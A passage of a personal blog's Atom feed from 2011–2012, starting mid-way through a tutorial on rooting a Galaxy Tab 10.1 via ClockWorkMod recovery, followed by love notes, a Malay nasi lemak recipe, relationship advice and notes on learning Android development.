&lt;b&gt;and save it to SDcard&lt;/b&gt;, preferably in the root folder i.e. sdcard/&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4. Next, we put the Tab into ‘ClockWorkMod’ recovery &lt;/b&gt;&lt;br /&gt;Turn off the Tab.&lt;br /&gt;Then, press the Power button and Volume Down button simultaneously.&lt;br /&gt;Then, hit the Volume Down button (choosing the ‘ClockWorkMod’ on the left)&lt;br /&gt;Then, hit the Volume Up button. We are now in ‘ClockWorkMod’.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;5. Now we’re ready to root&lt;/b&gt;&lt;br /&gt;Choose “install zip from sdcard” using Volume Up or Down button.&lt;br /&gt;Hit the Power Button to activate it.&lt;br /&gt;Choose the &lt;b&gt;‘Samsung_Galaxy_Tab_10.1_root.zip’&lt;/b&gt; (that we copied into SDcard earlier)&lt;br /&gt;Hit the Power button and hit ‘yes’.&lt;br /&gt;&lt;br /&gt;When that is done, reboot and we should have fully rooted Galaxy Tab 10.1&lt;br /&gt;&lt;br /&gt;Note: The Galaxy Tab 10.1 (P7510) has 1GHz dual-core Tegra 2 processor and 1GB RAM. If I were to buy an Android tablet later, I’ll make sure I have something that matches that :P&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>I miss this girl</title>
   <link href="https://www.instagram.com/zeroquitgenes//2012/10/18/I-miss-this-girl/"/>
   <updated>2012-10-18T13:27:35+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2012/10/18/I-miss-this-girl</id>
   <content type="html">&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-VcVzpVDhHzA/UIADulQ97wI/AAAAAAAAAbc/w2hBY92Hanc/s1600/2012-10-01+19.31.44.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://4.bp.blogspot.com/-VcVzpVDhHzA/UIADulQ97wI/AAAAAAAAAbc/w2hBY92Hanc/s320/2012-10-01+19.31.44.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Happy 2 Years</title>
   <link href="https://www.instagram.com/zeroquitgenes//2012/10/10/Happy-2-Years/"/>
   <updated>2012-10-10T15:16:58+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2012/10/10/Happy-2-Years</id>
   <content type="html">&lt;p&gt;Hi&lt;br /&gt;&lt;br /&gt;You guess what? It has been 2 years since &lt;b&gt;&lt;a href=&quot;http://nextslides.blogspot.com/2010/10/10-10-10.html&quot;&gt;this&lt;/a&gt;&lt;/b&gt; &lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-BpronbgjjG4/UHWQxxPNI6I/AAAAAAAAAa0/h83ZHWdZQms/s1600/2012-10-01+19.30.11.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;Who could have thought I have liked this girl for 2 years now :-)&lt;br /&gt;&lt;br /&gt;I never regret being honest at that time.&lt;br /&gt;&lt;br /&gt;I love you, Nurul Aliffah Ali. Happy 2 Years&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&amp;gt;&amp;lt;tbody&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-BpronbgjjG4/UHWQxxPNI6I/AAAAAAAAAa0/h83ZHWdZQms/s1600/2012-10-01+19.30.11.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://4.bp.blogspot.com/-BpronbgjjG4/UHWQxxPNI6I/AAAAAAAAAa0/h83ZHWdZQms/s320/2012-10-01+19.30.11.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&amp;gt;She, being “gedik” as usual&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Blogging by phone</title>
   <link href="https://www.instagram.com/zeroquitgenes//2012/10/03/Blogging-by-phone/"/>
   <updated>2012-10-03T17:33:20+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2012/10/03/Blogging-by-phone</id>
   <content type="html">&lt;div&gt;&lt;p&gt;Now that I have a smart phone, no more excuse for me not to write regularly.&lt;/p&gt;&lt;p&gt;Btw, holiday mood! Some new stuff coming up!&lt;/p&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>It's official - we are fat!!!</title>
   <link href="https://www.instagram.com/zeroquitgenes//2012/07/26/It's-official-we-are-fat!!!/"/>
   <updated>2012-07-26T18:08:27+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2012/07/26/It's-official-we-are-fat!!!</id>
   <content type="html">&lt;div style=&quot;text-align: left;&quot;&gt;&lt;/div&gt;
&lt;p&gt;Today we went to Seri Kembangan Giant Store and measured some stats about our body. Yeah, we learned that we are fat &lt;strike&gt;beyond help.&lt;/strike&gt; So, we decided to put the stats here and put some targets to achieve. We’ll give it a month.&lt;br /&gt;&lt;br /&gt;Current date : Dec 4, 2011&lt;br /&gt;Deadline : Jan 4, 2011&lt;br /&gt;&lt;br /&gt;Here we go!&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-jjOYXU3njIg/TtuF7d6CunI/AAAAAAAAAOE/-OBavMbFYC4/s1600/yayayaya.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-jjOYXU3njIg/TtuF7d6CunI/AAAAAAAAAOE/-OBavMbFYC4/s1600/yayayaya.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-jjOYXU3njIg/TtuF7d6CunI/AAAAAAAAAOE/-OBavMbFYC4/s1600/yayayaya.jpg&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>MMU FOE Board</title>
   <link href="https://www.instagram.com/zeroquitgenes//2012/07/26/MMU-FOE-Board/"/>
   <updated>2012-07-26T18:07:39+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2012/07/26/MMU-FOE-Board</id>
   <content type="html">&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-ZLTLEyPyy84/UBGG_bjWynI/AAAAAAAAAZo/SIpvK-u0flU/s1600/FireShot+Screen+Capture+%23001+-+%27FOE+MMU+Dudes+and+Dudettes%27+-+kemaman_org_foe_index_php.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://3.bp.blogspot.com/-ZLTLEyPyy84/UBGG_bjWynI/AAAAAAAAAZo/SIpvK-u0flU/s320/FireShot+Screen+Capture+%23001+-+%27FOE+MMU+Dudes+and+Dudettes%27+-+kemaman_org_foe_index_php.jpg&quot; width=&quot;213&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Sigh. Another project not even started (don’t talk about finishing it here).&lt;br /&gt;&lt;br /&gt;This is supposed to be a forum where MMU Faculty of Engineering (FOE) students can share stuff (tutorial answers, past assignment resources etc). We do have a facebook group for such function, but over the time things will get real disorganized and being me, I just can’t stand that.&lt;br /&gt;&lt;br /&gt;Here is the MMU FOE students FB group: &lt;a href=&quot;https://www.facebook.com/groups/178184952269/&quot;&gt;&lt;b&gt;link&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The group was orignally has 10 members which were all my former classmates, but now it’s consistently growing over these 3 years. Hopefully it will stand benificial to them.&lt;br /&gt;&lt;br /&gt;MMU IEEE Student Branch approached me with the idea of continuing this project under their name. I am willing to, but not by myself, no. If there are some people who are willing to spend times on this, I’d be willing to help out.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Jquery Mobile</title>
   <link href="https://www.instagram.com/zeroquitgenes//2011/11/17/Jquery-Mobile/"/>
   <updated>2011-11-17T18:55:12+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2011/11/17/Jquery-Mobile</id>
   <content type="html">&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://androinica.com/wp-content/uploads/2008/10/android_logo.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://androinica.com/wp-content/uploads/2008/10/android_logo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Adroid, The open source Mobile OS. &lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;I asked a friend so that I can join in any project that involves some programming. Programming is a skill set that needs to be nurtured as always as possible, hence why. He introduced to me, sort of, the android developement stuff and I am pretty much, currently, hooked up to it. &lt;br /&gt;&lt;br /&gt;Pretty neat stuff. I never actually code Java before. Everything is new to me. This is going to be tough, and I’ll just have to like it. I’ve been doing some readings and tried some examples. I’m not sure how I put it, but as far as I have discovered, there are tonnes of people out there who are very much experts in this field. When you feel like a newbie in any skills, you feel dismotivated. Thanks god that this is Malaysia. Not that many people are good in this stuff, just yet. But I could be wrong. Heck I think I’m wrong. But what the heck, this stuff are interesting, I must say.&lt;br /&gt;&lt;br /&gt;I applied for a part time job at the nearby petrol station and was accepted. My first day starts this Saturday. Currently, it’s 3 days per week job, from 3pm - 11pm. Yes, it’s 8 hours job. I’m not sure yet how much I’m making, but I really do hope that this will give me some motivation to take care of my valueable time each day of the week. And I do hope this will cover my living expenses.&lt;br /&gt;&lt;br /&gt;I end this with a quote: Chances are like playing poker. You will get a hand as soon as you fold.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Relax</title>
   <link href="https://www.instagram.com/zeroquitgenes//2011/11/12/Relax/"/>
   <updated>2011-11-12T08:17:24+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2011/11/12/Relax</id>
   <content type="html">&lt;p&gt;Found this years ago. Still recommend it :-)&lt;br /&gt;&lt;br /&gt;&amp;lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&amp;gt;&amp;lt;tbody&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://good-wallpapers.com/pictures/5446/Rain.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;250&quot; src=&quot;http://good-wallpapers.com/pictures/5446/Rain.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&amp;gt;cold windy rainy day&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;Step 1. &lt;br /&gt;Make yourself a cup of your favorite drink, a hot coffee, a hot milo?&lt;br /&gt;Step 2. &lt;br /&gt;Open a web browser with 2 tabs and put the sound volume a bit high&lt;br /&gt;Step 3. &lt;br /&gt;Go to www.rainymood.com on one tab&lt;br /&gt;Step 4. &lt;br /&gt;Go to www.endlessvideo.com/watch?v=HMnrl0tmd3k on the other tab&lt;br /&gt;Step 5. &lt;br /&gt;Sit back, relax, take a sip, close your eyes and enjoy&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Top 10 Reasons Marriages Fail</title>
   <link href="https://www.instagram.com/zeroquitgenes//2011/11/11/Top-10-Reasons-Marriages-Fail/"/>
   <updated>2011-11-11T22:05:50+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2011/11/11/Top-10-Reasons-Marriages-Fail</id>
   <content type="html">&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-1GCHfgDESLI/Tr2WcwMbZQI/AAAAAAAAANM/qeX4KFsiJfc/s1600/091123123740-arguing_couple.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;265&quot; src=&quot;http://1.bp.blogspot.com/-1GCHfgDESLI/Tr2WcwMbZQI/AAAAAAAAANM/qeX4KFsiJfc/s400/091123123740-arguing_couple.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Arrgghhhhhhhhh!!&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Although this article (not written by me though) is about marriage, it is very applicable to relationship. Okay, except the Sex Problems part. Read the whole thing. This is really a good way to sometimes open up our minds on some things that matter, especially when we’re having a difficult time in relationship. Read and reflect, tell me what you think.&lt;br /&gt;&lt;br /&gt;1. Financial Problems&lt;br /&gt;For the most part, it is the lack of open communication about money problems that jeopardizes a marriage more than the financial problems alone. Everyone has financial issues concerning bills, debts, spending and budgets. How a couple deals with those issues can make or break a relationship.&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-Q9zBYbqxQBI/Tr2XIF0l0zI/AAAAAAAAANc/IWIL5heCEGQ/s1600/cutcaster-photo-100537403-Mature-business-colleagues-having-an-argument-over-white.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;http://1.bp.blogspot.com/-Q9zBYbqxQBI/Tr2XIF0l0zI/AAAAAAAAANc/IWIL5heCEGQ/s200/cutcaster-photo-100537403-Mature-business-colleagues-having-an-argument-over-white.jpg&quot; width=&quot;194&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;2. Communications Problems&lt;br /&gt;If a couple has communication problems prior to marriage, those problems are likely to get worse after tying the knot. It is important that both partners are able to discuss every aspect of married life openly and on a regular basis. A marriage without two-way communication will not last long.&lt;br /&gt;&lt;br /&gt;3. Family Problems&lt;br /&gt;Family relationships with children, parents, in-laws, siblings and step-children are all sources of marital problems. Raising children increases stress in the home and can cause minor differences of opinion to become major rifts in a relationship. Discretion is the better part of valor when it comes to family and marriage.&lt;br /&gt;&lt;br /&gt;4. Sex Problems&lt;br /&gt;Sex is an important part of marriage and the source of many marriage problems. Every marriage requires the act of consummation by sexual intercourse. Failure to consummate a marriage or problems with sexual frequency, quality, and infidelity are all common reasons for marriage failure and divorce.&lt;br /&gt;&lt;br /&gt;5. Friend Problems&lt;br /&gt;Close personal friends of either spouse do not always make the transition to friends of the marriage. Some relationships with friends can be toxic to the marriage if they insert themselves between spouses. A good friend will enhance a married couple’s relationship. People who try to break a marriage apart are not quality friends.&lt;br /&gt;&lt;br /&gt;6. Addiction Problems&lt;br /&gt;Drug, alcohol and gambling abuse are all forms of addiction that are very detrimental to a marriage. Even without the presence of physical or verbal abuse, the behavior of an addicted spouse can make normal married life impossible. Addictions are also a common source of money problems in a marriage as well.&lt;br /&gt;&lt;br /&gt;7. Abuse Problems&lt;br /&gt;Abuse of any kind is never acceptable in a marriage. Physical and verbal abuse are all too often the causes of a marital break-down. Sexual abuse and emotional abuse also fall into this category. One partner’s desire to degrade their spouse in an ongoing pattern of abuse will surely cause a marriage to fail in time.&lt;br /&gt;&lt;br /&gt;8. Personality Problems&lt;br /&gt;There are many kinds of personality traits that can make a couple incompatible and unable to reach agreement in matters concerning sex, intellect and emotion. Partners that have compulsive needs to please or belittle can make honest communication impossible. Negative personality traits make a long-term relationship unbearable and divorce a real possibility.&lt;br /&gt;&lt;br /&gt;9. Expectation Problems&lt;br /&gt;The ability to adapt to changes in married life often depends on having realistic expectations about a spouse and the marriage relationship itself. It is common for disillusionment to set in when romantic or other unrealistic expectations are not met. Over time, unmet expectations can generate enough dissatisfaction to make meaningful compromise impossible.&lt;br /&gt;&lt;br /&gt;10. Time Problems&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&amp;lt;/div&amp;gt;Work and home schedules are not always compatible. Time spent apart and time spent together are equally important for maintaining a good married relationship. When time is used in a balanced way, it results in opportunities for growth and harmony. A lot of time spent alone without a corresponding period of quality time spent together puts a lot of stress on a marriage.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&amp;gt;&amp;lt;tbody&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-qgcq1kwP-zg/Tr2YLjHkeAI/AAAAAAAAANs/J88y5nuUNmg/s1600/by.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://3.bp.blogspot.com/-qgcq1kwP-zg/Tr2YLjHkeAI/AAAAAAAAANs/J88y5nuUNmg/s320/by.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&amp;gt;To err is human. But to forgive, is divine. Love ya.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>stay motivated</title>
   <link href="https://www.instagram.com/zeroquitgenes//2011/11/01/stay-motivated/"/>
   <updated>2011-11-01T05:00:24+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2011/11/01/stay-motivated</id>
   <content type="html">&lt;p&gt;Stay motivated, young lad. Know your strength, fight off your weaknesses. &lt;br /&gt;&lt;br /&gt;Win everyday&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Nasi Lemak buatan Bangi :D</title>
   <link href="https://www.instagram.com/zeroquitgenes//2011/10/11/Nasi-Lemak-buatan-Bangi-D/"/>
   <updated>2011-10-11T13:30:54+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2011/10/11/Nasi-Lemak-buatan-Bangi--D</id>
   <content type="html">&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-3FA8bCiRrhM/TpRD1f8qL_I/AAAAAAAAAM0/7ZLyStc4cvM/s1600/nasi-lemak.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; cssfloat: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; kca=&quot;true&quot; src=&quot;http://1.bp.blogspot.com/-3FA8bCiRrhM/TpRD1f8qL_I/AAAAAAAAAM0/7ZLyStc4cvM/s320/nasi-lemak.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Ini bukan saya buat. Saya buat lagi huru-hara, haha&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;span style=&quot;font-family: Georgia, &amp;quot;Times New Roman&amp;quot;, serif; font-size: x-large;&quot;&gt;&lt;strong&gt;Oh&lt;/strong&gt;&lt;/span&gt; yeah it’s the semester break and I pretty much have nothing else to do. I didn’t go back to Kemaman this time. I thought I could stay here in Bangi for a while because practically I wasn’t living here during the study weeks. I wasn’t busy with anything in particular, just filling up my free time learning stuff I wanted to learn during the study weeks. Websites, land buying, home buying, small business, all those future shit. &lt;br /&gt;&lt;br /&gt;I promised to the princess that I’ll make her Nasi Lemak and go picnic with her somewhere with it. I tried out on one of the recipe I found online and what can I say……I can cook! (self confident level is 120% at this moment). I just need to put less onion…..and use Tamarind Juice, not the Tamarind Paste all the way…&lt;br /&gt;&lt;br /&gt;Here is the recipe:&lt;br /&gt;&lt;strong&gt;Bahan untuk nasi :-&lt;/strong&gt;&lt;br /&gt;@ 2 cawan beras&lt;br /&gt;@ 1 cawan santan n 1 cawan air( jun guna 1/2 cwn santan pekat n 1 1/2 cwn air) &lt;br /&gt;@ 1 helai daun pandan - disimpul &lt;br /&gt;@ 3 hirisan halia &lt;br /&gt;@ secubit garam &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Bahan untuk sambal :-&lt;/strong&gt; &lt;br /&gt;* 6 sudu besar cili kering mesin &lt;br /&gt;* 4 ulas bawang merah -ditumbuk &lt;br /&gt;* 2 ulas bawang putih -ditumbuk &lt;br /&gt;* 1 biji bawang besar -dihiris &lt;br /&gt;* segenggam ikan bilis (dibasuh, separuh darinya ditumbuk) &lt;br /&gt;* sedikit air asam jawa &lt;br /&gt;* sedikit belacan&lt;br /&gt;* garam n gula &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Bahan sampingan lain :- &lt;/strong&gt;&lt;br /&gt;Ikan bilis goreng, telur rebus dan timun. &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Cara-cara&lt;/strong&gt; &lt;br /&gt;1.Campur semua bahan untuk nasi dan masak seperti nasi biasa. &lt;br /&gt;2.Tumis bawang besar, masukkan bawang2 yg ditumbuk, cili mesin, belacan dan ikan bilis yg ditumbuk..hingga sedikit garing dan pecah minyak. &lt;br /&gt;3.Masukkan air asam dan separuh lagi ikan bilis yg sudah dibersihkan tadi. &lt;br /&gt;4.Masukkan garam n gula. Masak sehingga agak pekat. &lt;br /&gt;&lt;br /&gt;p/s : Princess, this is for you. Don’t tell me I don’t work on anything for you, ever! :P&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Dalam hati kita sabar</title>
   <link href="https://www.instagram.com/zeroquitgenes//2011/09/08/Dalam-hati-kita-sabar/"/>
   <updated>2011-09-08T10:37:27+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2011/09/08/Dalam-hati-kita-sabar</id>
   <content type="html">&lt;p&gt;Nothing is unbearable in this life. Deal with it.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Scared</title>
   <link href="https://www.instagram.com/zeroquitgenes//2011/01/26/Scared/"/>
   <updated>2011-01-26T15:54:24+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2011/01/26/Scared</id>
   <content type="html">&lt;p&gt;I’m lying if I say I don’t think about what you were saying last night. Sorry I can’t just ignore them.&lt;br /&gt;&lt;br /&gt;It hits me.&lt;br /&gt;&lt;br /&gt;All the past years…., I don’t know :(&lt;br /&gt;&lt;br /&gt;But thanks for being honest, I need that&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Happy Birthday Nurul Aliffah</title>
   <link href="https://www.instagram.com/zeroquitgenes//2011/01/26/Happy-Birthday-Nurul-Aliffah/"/>
   <updated>2011-01-26T14:58:38+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2011/01/26/Happy-Birthday-Nurul-Aliffah</id>
   <content type="html">&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_ikrmaHIoTiA/TT-TuyLul7I/AAAAAAAAAIY/XDxdh_5SGek/s1600/5.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://3.bp.blogspot.com/_ikrmaHIoTiA/TT-TuyLul7I/AAAAAAAAAIY/XDxdh_5SGek/s320/5.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;That Sunday was one of the best thing that ever happened to me. Happy twenty-first!&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;I love you, sayang.&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>The sweetest</title>
   <link href="https://www.instagram.com/zeroquitgenes//2011/01/20/The-sweetest/"/>
   <updated>2011-01-20T17:47:49+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2011/01/20/The-sweetest</id>
   <content type="html">&lt;p&gt;You’re the sweetest.&lt;br /&gt;&lt;br /&gt;and you’re telling me I am being sweet? :P&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>sayang</title>
   <link href="https://www.instagram.com/zeroquitgenes//2011/01/20/sayang/"/>
   <updated>2011-01-20T17:46:29+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2011/01/20/sayang</id>
   <content type="html">&lt;div style=&quot;text-align: center;&quot;&gt;You don&apos;t like me saying anything that sounds sweetish and I&apos;m trying my best not to.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;But I&apos;m dedicating this song to you anyway.&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;You&apos;ll find this on your own and you&apos;ll know I wasn&apos;t just being sweet.&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;Thanks for making me feel so blessed. And I truly meant that.&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;:-)&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&quot;&quot; class=&quot;youtube-player&quot; frameborder=&quot;0&quot; height=&quot;390&quot; src=&quot;http://www.youtube.com/embed/A_Sp_qSG_zY?rel=0&quot; title=&quot;YouTube video player&quot; type=&quot;text/html&quot; width=&quot;480&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>hey</title>
   <link href="https://www.instagram.com/zeroquitgenes//2011/01/19/hey/"/>
   <updated>2011-01-19T17:19:32+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2011/01/19/hey</id>
